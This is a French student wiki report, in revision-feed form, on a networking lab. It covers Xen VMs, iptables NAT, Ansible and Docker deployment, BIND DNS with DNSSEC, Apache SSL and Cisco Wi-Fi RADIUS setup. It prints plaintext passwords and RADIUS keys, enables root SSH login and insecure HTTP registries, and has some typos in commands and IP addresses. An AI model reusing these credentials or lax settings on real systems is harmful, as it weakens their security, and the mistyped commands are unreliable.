On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55012</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55012"/>
				<updated>2020-12-18T22:49:26Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
